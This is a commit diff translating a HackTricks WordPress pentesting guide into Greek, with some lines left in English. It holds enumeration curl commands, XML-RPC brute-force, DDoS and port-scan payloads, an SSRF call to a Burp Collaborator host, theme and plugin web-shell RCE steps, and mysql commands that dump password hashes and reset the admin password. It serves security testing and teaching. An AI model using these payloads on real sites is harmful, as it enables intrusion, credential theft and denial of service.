Translated ['', 'src/welcome/hacktricks-values-and-faq.md', 'src/network

This commit is contained in:
Translator 2025-10-04 09:47:25 +00:00
parent bc55cc5f48
commit deb682f36a
2 changed files with 438 additions and 292 deletions

View File

@ -4,49 +4,49 @@
## Βασικές Πληροφορίες
- **Uploaded** αρχεία αποθηκεύονται στο: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Τα αρχεία των themes βρίσκονται στο /wp-content/themes/,** οπότε αν αλλάξετε κάποιο php του theme για να αποκτήσετε RCE πιθανότατα θα χρησιμοποιήσετε αυτό το path. Για παράδειγμα: Χρησιμοποιώντας **theme twentytwelve** μπορείτε να **προσπελάσετε** το αρχείο **404.php** στο: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Uploaded** αρχεία πηγαίνουν στο: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Τα αρχεία των Themes μπορούν να βρεθούν στο /wp-content/themes/,** οπότε αν αλλάξετε κάποιο php του theme για να αποκτήσετε RCE πιθανότατα θα χρησιμοποιήσετε αυτό το path. Για παράδειγμα: Χρησιμοποιώντας **theme twentytwelve** μπορείτε να **έχετε πρόσβαση** στο αρχείο **404.php** στο: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Ένα ακόμη χρήσιμο url μπορεί να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Άλλο χρήσιμο url θα μπορούσε να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- Στο **wp-config.php** μπορείτε να βρείτε το root password της βάσης δεδομένων.
- Στο **wp-config.php** μπορείτε να βρείτε τον root κωδικό της βάσης δεδομένων.
- Προεπιλεγμένες διαδρομές login προς έλεγχο: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
### **Κύρια αρχεία του WordPress**
- `index.php`
- `license.txt` περιέχει χρήσιμες πληροφορίες όπως η έκδοση του WordPress που είναι εγκατεστημένη.
- `wp-activate.php` χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά τη ρύθμιση ενός νέου WordPress ιστότοπου.
- Login folders (may be renamed to hide it):
- `wp-activate.php` χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά τη δημιουργία ενός νέου WordPress site.
- Φάκελοι login (μπορεί να μετονομαστούν για να κρυφτούν):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` είναι ένα αρχείο που αντιπροσωπεύει ένα χαρακτηριστικό του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μηχανισμό μεταφοράς και XML ως μηχανισμό κωδικοποίησης. Αυτού του είδους η επικοινωνία έχει αντικατασταθεί από το WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- `xmlrpc.php` είναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μηχανισμό μεταφοράς και XML ως μηχανισμό κωδικοποίησης. Αυτός ο τύπος επικοινωνίας έχει αντικατασταθεί από το WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Ο φάκελος `wp-content` είναι ο κύριος κατάλογος όπου αποθηκεύονται plugins και themes.
- `wp-content/uploads/` είναι ο κατάλογος όπου αποθηκεύονται τα αρχεία που ανεβαίνουν στην πλατφόρμα.
- `wp-includes/` είναι ο κατάλογος όπου αποθηκεύονται τα core αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.
- `wp-sitemap.xml` Σε εκδόσεις WordPress 5.5 και νεότερες, το WordPress δημιουργεί ένα sitemap XML αρχείο με όλες τις δημόσιες αναρτήσεις και τους δημόσια ερωτήσιμους τύπους αναρτήσεων και ταξινομήσεις.
- `wp-content/uploads/` είναι ο κατάλογος όπου αποθηκεύονται τυχόν αρχεία που ανεβάζονται στην πλατφόρμα.
- `wp-includes/` είναι ο κατάλογος όπου αποθηκεύονται αρχεία core, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.
- `wp-sitemap.xml` Στις εκδόσεις WordPress 5.5 και άνω, το WordPress παράγει ένα sitemap XML αρχείο με όλα τα δημόσια posts και τους τύπους περιεχομένου και ταξινομήσεις που είναι δημόσια ερωτήσιμες.
**Post exploitation**
**Μετά την εκμετάλλευση**
- Το `wp-config.php` αρχείο περιέχει πληροφορίες που απαιτούνται από το WordPress για σύνδεση στη βάση δεδομένων, όπως το όνομα της βάσης δεδομένων, το database host, username και password, authentication keys και salts, και το database table prefix. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για την ενεργοποίηση του DEBUG mode, το οποίο μπορεί να είναι χρήσιμο στην αντιμετώπιση προβλημάτων.
- Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για τη σύνδεση με τη βάση δεδομένων, όπως το όνομα βάσης, το database host, username και password, authentication keys και salts, και το database table prefix. Αυτό το αρχείο ρυθμίσεων μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιήσει το DEBUG mode, που μπορεί να είναι χρήσιμο στην επίλυση προβλημάτων.
### Δικαιώματα Χρηστών
- **Administrator**
- **Editor**: Δημοσιεύει και διαχειρίζεται τις δικές του και άλλων αναρτήσεις
- **Author**: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις
- **Contributor**: Γράφει και διαχειρίζεται τις αναρτήσεις του αλλά δεν μπορεί να τις δημοσιεύσει
- **Subscriber**: Προβάλει αναρτήσεις και επεξεργάζεται το προφίλ του
- **Editor**: Δημοσιεύει και διαχειρίζεται τις αναρτήσεις του και άλλων.
- **Author**: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις.
- **Contributor**: Γράφει και διαχειρίζεται τις αναρτήσεις του αλλά δεν μπορεί να τις δημοσιεύσει.
- **Subscriber**: Περιηγείται τις αναρτήσεις και επεξεργάζεται το προφίλ του.
## **Παθητική Αναγνώριση**
### **Βρες την έκδοση του WordPress**
### **Βρείτε την έκδοση του WordPress**
Ελέγξτε αν μπορείτε να βρείτε τα αρχεία `/license.txt` ή `/readme.html`
Μέσα στον **source code** της σελίδας (παράδειγμα από [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Μέσα στον **πηγαίο κώδικα** της σελίδας (παράδειγμα από [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- Αρχεία CSS link
- Αρχεία συνδέσεων CSS
![](<../../images/image (533).png>)
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (524).png>)
### Λήψη Plugins
### Λήψη πρόσθετων
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
@ -81,35 +81,35 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Plugins and Themes
Πιθανότατα δεν θα μπορέσετε να εντοπίσετε όλα τα Plugins και Themes. Για να τα ανακαλύψετε όλα, θα χρειαστεί να **actively Brute Force a list of Plugins and Themes** (ελπίζουμε ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).
Πιθανότατα δεν θα καταφέρετε να βρείτε όλα τα Plugins and Themes. Για να τα ανακαλύψετε όλα, θα χρειαστεί να **κάνετε ενεργά Brute Force σε μια λίστα με Plugins and Themes** (ελπίζουμε ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).
### Χρήστες
- **ID Brute:** Αποκτάτε έγκυρους χρήστες από ένα WordPress site με Brute Forcing users IDs:
- **ID Brute:** Αποκτάτε έγκυρους χρήστες από ένα WordPress site κάνοντας Brute Forcing των users IDs:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Αν οι απαντήσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Αν η απάντηση είναι **400**, τότε το id είναι **άκυρο**.
Εάν οι αποκρίσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Εάν η απόκριση είναι **400**, τότε το id είναι **άκυρο**.
- **wp-json:** Μπορείτε επίσης να δοκιμάσετε να λάβετε πληροφορίες για τους χρήστες κάνοντας ερώτημα στο:
- **wp-json:** Μπορείτε επίσης να προσπαθήσετε να λάβετε πληροφορίες για τους χρήστες υποβάλλοντας ερώτημα:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Ένα ακόμη endpoint `/wp-json/` που μπορεί να αποκαλύψει κάποιες πληροφορίες για χρήστες είναι:
Άλλο endpoint `/wp-json/` που μπορεί να αποκαλύψει μερικές πληροφορίες για χρήστες είναι:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν δημοσιεύσει. **Θα παρέχονται μόνο πληροφορίες για τους χρήστες που έχουν αυτή τη δυνατότητα ενεργοποιημένη**.
Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει μία δημοσίευση. **Μόνο πληροφορίες για τους χρήστες που έχουν ενεργοποιημένη αυτή τη λειτουργία θα παρέχονται**.
Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** μπορεί να leak διευθύνσεις IP.
Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** θα μπορούσε να leak διευθύνσεις IP.
- **Login username enumeration**: Όταν κάνετε login στο **`/wp-login.php`**, το **μήνυμα** είναι **διαφορετικό** ανάλογα με το αν το **όνομα χρήστη υπάρχει ή όχι**.
- **Login username enumeration**: Κατά το login στο **`/wp-login.php`** το **μήνυμα** είναι **διαφορετικό** και δείχνει εάν το **username** υπάρχει ή όχι.
### XML-RPC
Αν το `xml-rpc.php` είναι ενεργό μπορείτε να εκτελέσετε brute-force σε διαπιστευτήρια ή να το χρησιμοποιήσετε για να εκτοξεύσετε DoS επιθέσεις σε άλλους πόρους. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία[ using this](https://github.com/relarizky/wpxploit) για παράδειγμα).
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία[ using this](https://github.com/relarizky/wpxploit) for example).
Για να δείτε αν είναι ενεργό δοκιμάστε να αποκτήσετε πρόσβαση στο _**/xmlrpc.php**_ και στείλτε το παρακάτω αίτημα:
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**Έλεγχος**
```html
@ -120,9 +120,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Διαπιστευτήρια Bruteforce**
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** ή **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force διαπιστευτηρίων. Αν βρείτε κάποια από αυτές, μπορείτε να στείλετε κάτι σαν:
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force credentials. Αν μπορείτε να βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι σαν:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
Το μήνυμα _"Incorrect username or password"_ μέσα σε μια απάντηση με κωδικό 200 πρέπει να εμφανίζεται εάν τα credentials δεν είναι έγκυρα.
Το μήνυμα _"Incorrect username or password"_ μέσα σε απάντηση με κωδικό 200 πρέπει να εμφανίζεται αν τα credentials δεν είναι έγκυρα.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Χρησιμοποιώντας τα σωστά credentials μπορείτε να ανεβάσετε ένα αρχείο. Στην απάντηση η διαδρομή θα εμφανιστεί ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Χρησιμοποιώντας τα σωστά credentials μπορείτε να ανεβάσετε ένα αρχείο. Στην απάντηση θα εμφανιστεί η διαδρομή ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
Επιπλέον υπάρχει ένας **πιο γρήγορος τρόπος** για να brute-force credentials χρησιμοποιώντας **`system.multicall`**, αφού μπορείτε να δοκιμάσετε πολλαπλά creds στο ίδιο request:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
**Παράκαμψη 2FA**
Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, οπότε δεν υποστηρίζει 2FA. Έτσι, αν έχετε έγκυρα creds αλλά η κύρια είσοδος προστατεύεται από 2FA, **μπορεί να καταφέρετε να καταχραστείτε το xmlrpc.php για να κάνετε login με αυτά τα creds παρακάμπτοντας το 2FA**. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά ίσως εξακολουθείτε να μπορείτε να φτάσετε σε RCE όπως εξηγεί ο Ippsec στο [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, γι' αυτό δεν υποστηρίζει 2FA. Έτσι, αν έχετε έγκυρα creds αλλά η κύρια είσοδος προστατεύεται με 2FA, **μπορεί να καταφέρετε να καταχραστείτε το xmlrpc.php για να κάνετε login με αυτά τα creds παρακάμπτοντας 2FA**. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά μπορεί παρ' όλα αυτά να καταφέρετε να φτάσετε σε RCE όπως εξηγεί ο Ippsec στο [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
**DDoS ή port scanning**
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
This can be used to ask **χιλιάδες** of Wordpress **sites** to **access** one **τοποθεσία** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
Αν μπορείτε να βρείτε τη μέθοδο _**pingback.ping**_ μέσα στη λίστα μπορείτε να κάνετε το Wordpress να στείλει ένα αυθαίρετο request σε οποιονδήποτε host/port.\
Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε από **χιλιάδες** Wordpress **sites** να **access** μία **τοποθεσία** (οπότε προκαλείται **DDoS** σε εκείνη την τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το **Wordpress** να **scan** κάποιο εσωτερικό **network** (μπορείτε να υποδείξετε οποιαδήποτε port).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ This can be used to ask **χιλιάδες** of Wordpress **sites** to **access*
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Αν λάβετε **faultCode** με τιμή **μεγαλύτερη** από **0** (17), αυτό σημαίνει ότι η port είναι ανοιχτή.
Αν λάβεις το **faultCode** με τιμή **μεγαλύτερη** από **0** (17), αυτό σημαίνει ότι η θύρα είναι ανοιχτή.
Ρίξτε μια ματιά στη χρήση του **`system.multicall`** στην προηγούμενη ενότητα για να μάθετε πώς να εκμεταλλευτείτε αυτή τη μέθοδο για να προκαλέσετε DDoS.
Ρίξε μια ματιά στη χρήση του **`system.multicall`** στην προηγούμενη ενότητα για να μάθεις πώς να καταχραστείς αυτή τη μέθοδο ώστε να προκαλέσεις DDoS.
**DDoS**
```html
@ -210,14 +210,14 @@ This can be used to ask **χιλιάδες** of Wordpress **sites** to **access*
### wp-cron.php DoS
Αυτό το αρχείο συνήθως υπάρχει στη ρίζα του Wordpress site: **`/wp-cron.php`**\
Όταν αυτό το αρχείο είναι **accessed** εκτελείται ένα "**heavy**" MySQL **query**, οπότε μπορεί να χρησιμοποιηθεί από **attackers** για να **cause** ένα **DoS**.\
Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας client ζητάει οποιαδήποτε Wordpress σελίδα), το οποίο σε sites με υψηλή επισκεψιμότητα μπορεί να προκαλέσει προβλήματα (DoS).
Όταν αυτό το αρχείο προσπελαύνεται εκτελείται ένα "**βαρύ**" MySQL **query**, οπότε μπορεί να χρησιμοποιηθεί από attackers για να προκαλέσει **DoS**.\
Επίσης, εξ ορισμού, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας client ζητά οποιαδήποτε Wordpress σελίδα), κάτι που σε sites υψηλής επισκεψιμότητας μπορεί να προκαλέσει προβλήματα (DoS).
Συνίσταται να απενεργοποιηθεί το Wp-Cron και να δημιουργηθεί ένα πραγματικό cronjob μέσα στον host που θα εκτελεί τις απαραίτητες ενέργειες σε τακτά διαστήματα (χωρίς να προκαλεί προβλήματα).
Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε ένα πραγματικό cronjob στον host που θα εκτελεί τις απαραίτητες ενέργειες σε τακτά διαστήματα (χωρίς να προκαλεί προβλήματα).
### /wp-json/oembed/1.0/proxy - SSRF
Δοκίμασε να προσπελάσεις _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ και το Worpress site μπορεί να κάνει ένα request σε εσένα.
Δοκιμάστε να προσπελάσετε _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ και το Worpress site ενδέχεται να κάνει ένα αίτημα προς εσάς.
This is the response when it doesn't work:
@ -230,32 +230,32 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Αυτό το εργαλείο ελέγχει εάν υπάρχει το **methodName: pingback.ping** και το path **/wp-json/oembed/1.0/proxy** και αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί.
Αυτό το εργαλείο ελέγχει αν υπάρχει το **methodName: pingback.ping** και η διαδρομή **/wp-json/oembed/1.0/proxy** και αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί.
## Αυτόματα Εργαλεία
## Αυτόματα εργαλεία
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Απόκτηση πρόσβασης με την επανεγγραφή ενός bit
## Απόκτηση πρόσβασης επανεγγράφοντας ένα bit
Περισσότερο από μια πραγματική επίθεση, αυτό είναι μια περιέργεια. Στο CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) μπορούσατε να αναστρέψετε 1 bit σε οποιοδήποτε wordpress αρχείο. Έτσι, μπορούσατε να αναστρέψετε τη θέση `5389` του αρχείου `/var/www/html/wp-includes/user.php` ώστε να μετατρέψετε την πράξη NOT (`!`) σε NOP.
Περισσότερο παρά μια πραγματική επίθεση, πρόκειται για μια περιέργεια. Στο CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) μπορούσες να flip 1 bit σε οποιοδήποτε wordpress αρχείο. Έτσι μπορούσες να flip τη θέση `5389` του αρχείου `/var/www/html/wp-includes/user.php` ώστε να NOP το NOT (`!`) operation.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Πίνακας RCE**
## **Panel RCE**
**Τροποποίηση ενός php από το χρησιμοποιούμενο θέμα (απαιτούνται admin credentials)**
**Τροποποίηση ενός php από το θέμα που χρησιμοποιείται (απαιτούνται διαπιστευτήρια admin)**
Appearance → Theme Editor → 404 Template (στα δεξιά)
Εμφάνιση → Επεξεργαστής Θέματος → 404 Template (στα δεξιά)
Αλλάξτε το περιεχόμενο σε ένα php shell:
![](<../../images/image (384).png>)
Αναζητήστε στο Internet πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή την ενημερωμένη σελίδα. Σε αυτή την περίπτωση πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Αναζητήστε στο διαδίκτυο πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή την ενημερωμένη σελίδα. Σε αυτή την περίπτωση πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -263,14 +263,14 @@ Appearance → Theme Editor → 404 Template (στα δεξιά)
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
για να αποκτήσετε μία session.
να αποκτήσετε session.
## Plugin RCE
### PHP plugin
Ενδέχεται να είναι δυνατό να ανεβάσετε αρχεία .php ως plugin.\
Δημιουργήστε το php backdoor σας χρησιμοποιώντας για παράδειγμα:
Δημιουργήστε το php backdoor σας χρησιμοποιώντας, για παράδειγμα:
![](<../../images/image (183).png>)
@ -286,48 +286,48 @@ use exploit/unix/webapp/wp_admin_shell_upload
![](<../../images/image (70).png>)
Πιθανότατα αυτό δεν θα κάνει τίποτα, αλλά αν μεταβείτε στο Media, θα δείτε το shell σας ανεβασμένο:
Πιθανότατα αυτό δεν θα κάνει τίποτα εμφανώς, αλλά αν μεταβείτε στο Media, θα δείτε το shell σας ανεβασμένο:
![](<../../images/image (462).png>)
Ανοίγοντάς το θα δείτε το URL για την εκτέλεση του reverse shell:
Ανοίγοντάς το θα δείτε το URL για να εκτελέσετε το reverse shell:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός malicious plugin που είναι γνωστό ότι είναι ευπαθές και μπορεί να εκμεταλλευτεί για την απόκτηση ενός web shell. Η διαδικασία εκτελείται μέσω του WordPress dashboard ως εξής:
Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός κακόβουλου plugin γνωστού ότι είναι ευάλωτο και μπορεί να εκμεταλλευτεί για να αποκτήσει web shell. Αυτή η διαδικασία εκτελείται μέσω του WordPress dashboard ως εξής:
1. **Plugin Acquisition**: Το plugin αποκτάται από μια πηγή όπως το Exploit DB, όπως [**here**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: Το plugin αποκτάται από μια πηγή όπως το Exploit DB όπως [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Μεταβείτε στο WordPress dashboard, στη συνέχεια πηγαίνετε σε `Dashboard > Plugins > Upload Plugin`.
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
- Ανεβάστε το zip αρχείο του κατεβασμένου plugin.
3. **Plugin Activation**: Μόλις το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του dashboard.
3. **Plugin Activation**: Αφού το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του dashboard.
4. **Exploitation**:
- Με το plugin "reflex-gallery" εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί επειδή είναι γνωστό ότι είναι ευπαθές.
- Το Metasploit framework παρέχει ένα exploit για αυτή την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια meterpreter session, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στην ιστοσελίδα.
- Σημειώνεται ότι αυτή είναι μόνο μία από τις πολλές μεθόδους για να εκμεταλλευτείτε ένα WordPress site.
- Με το plugin "reflex-gallery" εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί καθώς είναι γνωστό ότι είναι ευάλωτο.
- Το Metasploit framework παρέχει ένα exploit για αυτή την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια meterpreter session, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον ιστότοπο.
- Σημειώνεται ότι αυτός είναι μόνο ένας από τους πολλούς τρόπους για να εκμεταλλευτείτε έναν WordPress ιστότοπο.
Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς την κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως σε penetration testing με ρητή άδεια.
Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς την κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως penetration testing με ρητή άδεια.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Από XSS σε RCE
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ είναι ένα script σχεδιασμένο να αναβαθμίζει μια **Cross-Site Scripting (XSS)** ευπάθεια σε **Remote Code Execution (RCE)** ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες δείτε [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Δημιουργεί έναν χρήστη στο WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Ανεβάζει το custom plugin (backdoor) σας στο WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Επεξεργασία ενός Built-In plugin στο WordPress.
- _**(RCE) Built-In Theme Edit:**_ Επεξεργασία ενός Built-In theme στο WordPress.
- _**(Custom) Custom Exploits:**_ Custom Exploits για third-party WordPress Plugins/Themes.
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ είναι ένα script σχεδιασμένο να κλιμακώνει μια **Cross-Site Scripting (XSS)** ευπάθεια σε **Remote Code Execution (RCE)** ή άλλες κρίσιμες ευπάθειες σε WordPress. Για περισσότερες πληροφορίες δείτε [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για Wordpress Versions 6.X.X, 5.X.X and 4.X.X. και επιτρέπει:**
- _**Privilege Escalation:**_ Creates an user in WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
## Post Exploitation
Εξαγωγή ονομάτων χρήστη και κωδικών πρόσβασης:
Εξαγωγή usernames και passwords:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Αλλαγή admin password:
Αλλαγή κωδικού admin:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
@ -335,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### Επιφάνεια Επίθεσης
